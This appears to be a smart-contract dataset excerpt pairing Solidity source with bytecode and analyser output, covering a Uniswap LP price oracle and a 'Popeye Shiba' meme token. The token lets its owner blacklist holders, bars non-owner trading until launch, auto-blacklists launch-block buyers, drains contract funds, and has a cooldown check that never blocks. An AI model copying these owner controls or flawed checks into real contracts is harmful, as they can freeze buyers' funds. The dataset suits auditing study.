b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365416d6f756e74206d757374206265206c657373207468616e20746f74616c20737570706c7945524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209c5c92f3d1e91d0f018802ce728895e7802234e0e9928c898720e879c6b3f66664736f6c63430007010033
|
{"success": true, "error": null, "results": {}}
| 6,257 |
0x7678eB6251f41FBF4e0DF36c90bfE32843C2dAf9
|
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: IBaseOracle
interface IBaseOracle {
/// @dev Return the value of the given input as ETH per unit, multiplied by 2**112.
/// @param token The ERC-20 token to check the value.
function getETHPx(address token) external view returns (uint);
}
// Part: IUniswapV2Pair
// https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(
address owner,
address spender,
uint value,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: HomoraMath
library HomoraMath {
using SafeMath for uint;
function divCeil(uint lhs, uint rhs) internal pure returns (uint) {
return lhs.add(rhs).sub(1) / rhs;
}
function fmul(uint lhs, uint rhs) internal pure returns (uint) {
return lhs.mul(rhs) / (2**112);
}
function fdiv(uint lhs, uint rhs) internal pure returns (uint) {
return lhs.mul(2**112) / rhs;
}
// implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0
// original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint x) internal pure returns (uint) {
if (x == 0) return 0;
uint xx = x;
uint r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint r1 = x / r;
return (r < r1 ? r : r1);
}
}
// Part: UsingBaseOracle
contract UsingBaseOracle {
IBaseOracle public immutable base; // Base oracle source
constructor(IBaseOracle _base) public {
base = _base;
}
}
// File: UniswapV2Oracle.sol
contract UniswapV2Oracle is UsingBaseOracle, IBaseOracle {
using SafeMath for uint;
using HomoraMath for uint;
constructor(IBaseOracle _base) public UsingBaseOracle(_base) {}
/// @dev Return the value of the given input as ETH per unit, multiplied by 2**112.
/// @param pair The Uniswap pair to check the value.
function getETHPx(address pair) external view override returns (uint) {
address token0 = IUniswapV2Pair(pair).token0();
address token1 = IUniswapV2Pair(pair).token1();
uint totalSupply = IUniswapV2Pair(pair).totalSupply();
(uint r0, uint r1, ) = IUniswapV2Pair(pair).getReserves();
uint sqrtK = HomoraMath.sqrt(r0.mul(r1)).fdiv(totalSupply); // in 2**112
uint px0 = base.getETHPx(token0); // in 2**112
uint px1 = base.getETHPx(token1); // in 2**112
// fair token0 amt: sqrtK * sqrt(px1/px0)
// fair token1 amt: sqrtK * sqrt(px0/px1)
// fair lp price = 2 * sqrt(px0 * px1)
// split into 2 sqrts multiplication to prevent uint overflow (note the 2**112)
return sqrtK.mul(2).mul(HomoraMath.sqrt(px0)).div(2**56).mul(HomoraMath.sqrt(px1)).div(2**56);
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80635001f3b51461003b578063ab9aadfe1461005f575b600080fd5b610043610097565b604080516001600160a01b039092168252519081900360200190f35b6100856004803603602081101561007557600080fd5b50356001600160a01b03166100bb565b60408051918252519081900360200190f35b7f0000000000000000000000006be987c6d72e25f02f6f061f94417d83a6aa13fc81565b600080826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156100f757600080fd5b505afa15801561010b573d6000803e3d6000fd5b505050506040513d602081101561012157600080fd5b50516040805163d21220a760e01b815290519192506000916001600160a01b0386169163d21220a7916004808301926020929190829003018186803b15801561016957600080fd5b505afa15801561017d573d6000803e3d6000fd5b505050506040513d602081101561019357600080fd5b5051604080516318160ddd60e01b815290519192506000916001600160a01b038716916318160ddd916004808301926020929190829003018186803b1580156101db57600080fd5b505afa1580156101ef573d6000803e3d6000fd5b505050506040513d602081101561020557600080fd5b505160408051630240bc6b60e21b8152905191925060009182916001600160a01b03891691630902f1ac91600480820192606092909190829003018186803b15801561025057600080fd5b505afa158015610264573d6000803e3d6000fd5b505050506040513d606081101561027a57600080fd5b5080516020909101516dffffffffffffffffffffffffffff918216935016905060006102b8846102b26102ad8686610443565b6104a5565b906105eb565b905060007f0000000000000000000000006be987c6d72e25f02f6f061f94417d83a6aa13fc6001600160a01b031663ab9aadfe886040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561032957600080fd5b505afa15801561033d573d6000803e3d6000fd5b505050506040513d602081101561035357600080fd5b5051604080516355cd56ff60e11b81526001600160a01b03898116600483015291519293506000927f0000000000000000000000006be987c6d72e25f02f6f061f94417d83a6aa13fc9092169163ab9aadfe91602480820192602092909190829003018186803b1580156103c657600080fd5b505afa1580156103da573d6000803e3d6000fd5b505050506040513d60208110156103f057600080fd5b50519050610433600160381b61042d610408846104a5565b610427600160381b61042d61041c896104a5565b6104278b6002610443565b90610443565b9061060b565b985050505050505050505b919050565b6000826104525750600061049f565b8282028284828161045f57fe5b041461049c5760405162461bcd60e51b815260040180806020018281038252602181526020018061066b6021913960400191505060405180910390fd5b90505b92915050565b6000816104b45750600061043e565b816001600160801b82106104cd5760809190911c9060401b5b6801000000000000000082106104e85760409190911c9060201b5b64010000000082106104ff5760209190911c9060101b5b6201000082106105145760109190911c9060081b5b61010082106105285760089190911c9060041b5b6010821061053b5760049190911c9060021b5b600882106105475760011b5b600181858161055257fe5b048201901c9050600181858161056457fe5b048201901c9050600181858161057657fe5b048201901c9050600181858161058857fe5b048201901c9050600181858161059a57fe5b048201901c905060018185816105ac57fe5b048201901c905060018185816105be57fe5b048201901c905060008185816105d057fe5b0490508082106105e057806105e2565b815b95945050505050565b6000816105fc84600160701b610443565b8161060357fe5b049392505050565b6000808211610661576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161060357fefe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122093770413351200294ae83ff73066c3b2837077e564c6616ee81a08e406a3ad5f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,258 |
0xe3add7f9eb77648d1edb8c2d1d8a0df513ebeaa7
|
/*
"I ain't no tailor but I know what suits me."
- Popeye Shiba.
██████╗░░█████╗░██████╗░███████╗██╗░░░██╗███████╗ ░██████╗██╗░░██╗██╗██████╗░░█████╗░
██╔══██╗██╔══██╗██╔══██╗██╔════╝╚██╗░██╔╝██╔════╝ ██╔════╝██║░░██║██║██╔══██╗██╔══██╗
██████╔╝██║░░██║██████╔╝█████╗░░░╚████╔╝░█████╗░░ ╚█████╗░███████║██║██████╦╝███████║
██╔═══╝░██║░░██║██╔═══╝░██╔══╝░░░░╚██╔╝░░██╔══╝░░ ░╚═══██╗██╔══██║██║██╔══██╗██╔══██║
██║░░░░░╚█████╔╝██║░░░░░███████╗░░░██║░░░███████╗ ██████╔╝██║░░██║██║██████╦╝██║░░██║
╚═╝░░░░░░╚════╝░╚═╝░░░░░╚══════╝░░░╚═╝░░░╚══════╝ ╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░╚═╝░░╚═╝
*/
pragma solidity >=0.7.0 <0.8.0;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract POPSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => uint256) private _lastTX;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isBlacklisted;
address[] private _excluded;
bool public tradingLive = false;
uint256 private _totalSupply = 1300000000 * 10**9;
uint256 public _totalBurned;
string private _name = "Popeye Shiba";
string private _symbol = "POPSHIBA";
uint8 private _decimals = 9;
address payable private _projWallet;
uint256 public firstLiveBlock;
uint256 public _spinach = 3;
uint256 public _liquidityMarketingFee = 10;
uint256 private _previousSpinach = _spinach;
uint256 private _previousLiquidityMarketingFee = _liquidityMarketingFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public antiBotLaunch = true;
uint256 public _maxTxAmount = 26000000 * 10**9;
uint256 public _maxHoldings = 90000000 * 10**9;
bool public maxHoldingsEnabled = true;
bool public maxTXEnabled = true;
bool public antiSnipe = true;
bool public extraCalories = true;
bool public cooldown = true;
uint256 public numTokensSellToAddToLiquidity = 13000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_balance[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function totalBurned() public view returns (uint256) {
return _totalBurned;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function setProjWallet(address payable _address) external onlyOwner {
_projWallet = _address;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount * 10**9;
}
function setMaxHoldings(uint256 maxHoldings) external onlyOwner() {
_maxHoldings = maxHoldings * 10**9;
}
function setMaxTXEnabled(bool enabled) external onlyOwner() {
maxTXEnabled = enabled;
}
function setMaxHoldingsEnabled(bool enabled) external onlyOwner() {
maxHoldingsEnabled = enabled;
}
function setAntiSnipe(bool enabled) external onlyOwner() {
antiSnipe = enabled;
}
function setCooldown(bool enabled) external onlyOwner() {
cooldown = enabled;
}
function setExtraCalories(bool enabled) external onlyOwner() {
extraCalories = enabled;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimETH (address walletaddress) external onlyOwner {
// make sure we capture all ETH that may or may not be sent to this contract
payable(walletaddress).transfer(address(this).balance);
}
function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function blacklist(address _address) external onlyOwner() {
_isBlacklisted[_address] = true;
}
function removeFromBlacklist(address _address) external onlyOwner() {
_isBlacklisted[_address] = false;
}
function getIsBlacklistedStatus(address _address) external view returns (bool) {
return _isBlacklisted[_address];
}
function allowtrading() external onlyOwner() {
tradingLive = true;
firstLiveBlock = block.number;
}
function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _eatSpinach(address _account, uint _amount) private {
require( _amount <= balanceOf(_account));
_balance[_account] = _balance[_account].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
_totalBurned = _totalBurned.add(_amount);
emit Transfer(_account, address(0), _amount);
}
function _projectBoost(uint _amount) private {
_balance[address(this)] = _balance[address(this)].add(_amount);
}
function removeAllFee() private {
if(_spinach == 0 && _liquidityMarketingFee == 0) return;
_previousSpinach = _spinach;
_previousLiquidityMarketingFee = _liquidityMarketingFee;
_spinach = 0;
_liquidityMarketingFee = 0;
}
function restoreAllFee() private {
_spinach = _previousSpinach;
_liquidityMarketingFee = _previousLiquidityMarketingFee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlacklisted[from] && !_isBlacklisted[to]);
if(!tradingLive){
require(from == owner()); // only owner allowed to trade or add liquidity
}
if(maxTXEnabled){
if(from != owner() && to != owner()){
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
if(cooldown){
if( to != owner() && to != address(this) && to != address(uniswapV2Router) && to != uniswapV2Pair) {
require(_lastTX[tx.origin] <= (block.timestamp + 30 seconds), "Cooldown in effect");
_lastTX[tx.origin] = block.timestamp;
}
}
if(antiSnipe){
if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
require( tx.origin == to);
}
}
if(maxHoldingsEnabled){
if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) {
uint balance = balanceOf(to);
require(balance.add(amount) <= _maxHoldings);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount){
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from == uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)){
_spinach = 3;
_liquidityMarketingFee = 10;
} else {
_spinach = 3;
_liquidityMarketingFee = 12;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(antiBotLaunch){
if(block.number <= firstLiveBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){
_isBlacklisted[recipient] = true;
}
}
if(!takeFee) removeAllFee();
uint256 spinachToEat = amount.mul(_spinach).div(100);
uint256 projectBoost = amount.mul(_liquidityMarketingFee).div(100);
uint256 amountWithNoSpinach = amount.sub(spinachToEat);
uint256 amountTransferred = amount.sub(projectBoost).sub(spinachToEat);
_eatSpinach(sender, spinachToEat);
_projectBoost(projectBoost);
_balance[sender] = _balance[sender].sub(amountWithNoSpinach);
_balance[recipient] = _balance[recipient].add(amountTransferred);
if(extraCalories && sender != uniswapV2Pair && sender != address(this) && sender != address(uniswapV2Router) && (recipient == address(uniswapV2Router) || recipient == uniswapV2Pair)) {
_eatSpinach(uniswapV2Pair, spinachToEat);
}
emit Transfer(sender, recipient, amountTransferred);
if(!takeFee) restoreAllFee();
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 tokensForLiq = (contractTokenBalance.div(5));
uint256 half = tokensForLiq.div(2);
uint256 toSwap = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(toSwap);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(half, newBalance);
payable(_projWallet).transfer(address(this).balance);
emit SwapAndLiquify(half, newBalance, half);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
}
|
0x6080604052600436106102e85760003560e01c806370a0823111610190578063a6334231116100dc578063dcebf63b11610095578063ebb2b6451161006f578063ebb2b64514610a19578063ec28438a14610a4c578063f9f92be414610a76578063fd01bd4c14610aa9576102ef565b8063dcebf63b14610996578063dd62ed3e146109ab578063ea2f0b37146109e6576102ef565b8063a6334231146108dd578063a9059cbb146108f2578063c41ba8101461092b578063c49b9a8014610940578063d12a76881461096c578063d89135cd14610981576102ef565b80637e66c0b9116101495780638da5cb5b116101235780638da5cb5b1461084e57806395d89b411461086357806395f6f56714610878578063a457c2d7146108a4576102ef565b80637e66c0b9146107c757806381a6731a14610824578063875e7f1014610839576102ef565b806370a0823114610753578063715018a614610786578063725e07691461079b578063764d72bf146107c7578063787a08a6146107fa5780637d1db4a51461080f576102ef565b8063313ce5671161024f57806349bd5a5e116102085780635342acb4116101e25780635342acb414610697578063537df3b6146106ca5780635ae9e94b146106fd578063692337e214610727576102ef565b806349bd5a5e146106585780634a74bb021461066d5780634e45e92a14610682576102ef565b8063313ce5671461054557806339509351146105705780633f9b7607146105a9578063413550e3146105e4578063423ad37514610610578063437823ec14610625576102ef565b80631694505e116102a15780631694505e1461044f57806316d624a51461048057806318160ddd146104ae57806323b872dd146104c357806329e04b4a146105065780632fd739bb14610530576102ef565b806306fdde03146102f4578063084e4f8a1461037e578063095d2d33146103c5578063095ea7b3146103ec57806311704f521461042557806312db00161461043a576102ef565b366102ef57005b600080fd5b34801561030057600080fd5b50610309610abe565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561034357818101518382015260200161032b565b50505050905090810190601f1680156103705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038a57600080fd5b506103b1600480360360208110156103a157600080fd5b50356001600160a01b0316610b54565b604080519115158252519081900360200190f35b3480156103d157600080fd5b506103da610b72565b60408051918252519081900360200190f35b3480156103f857600080fd5b506103b16004803603604081101561040f57600080fd5b506001600160a01b038135169060200135610b78565b34801561043157600080fd5b506103b1610b96565b34801561044657600080fd5b506103b1610b9f565b34801561045b57600080fd5b50610464610ba8565b604080516001600160a01b039092168252519081900360200190f35b34801561048c57600080fd5b506104ac600480360360208110156104a357600080fd5b50351515610bcc565b005b3480156104ba57600080fd5b506103da610c44565b3480156104cf57600080fd5b506103b1600480360360608110156104e657600080fd5b506001600160a01b03813581169160208101359091169060400135610c4a565b34801561051257600080fd5b506104ac6004803603602081101561052957600080fd5b5035610cd1565b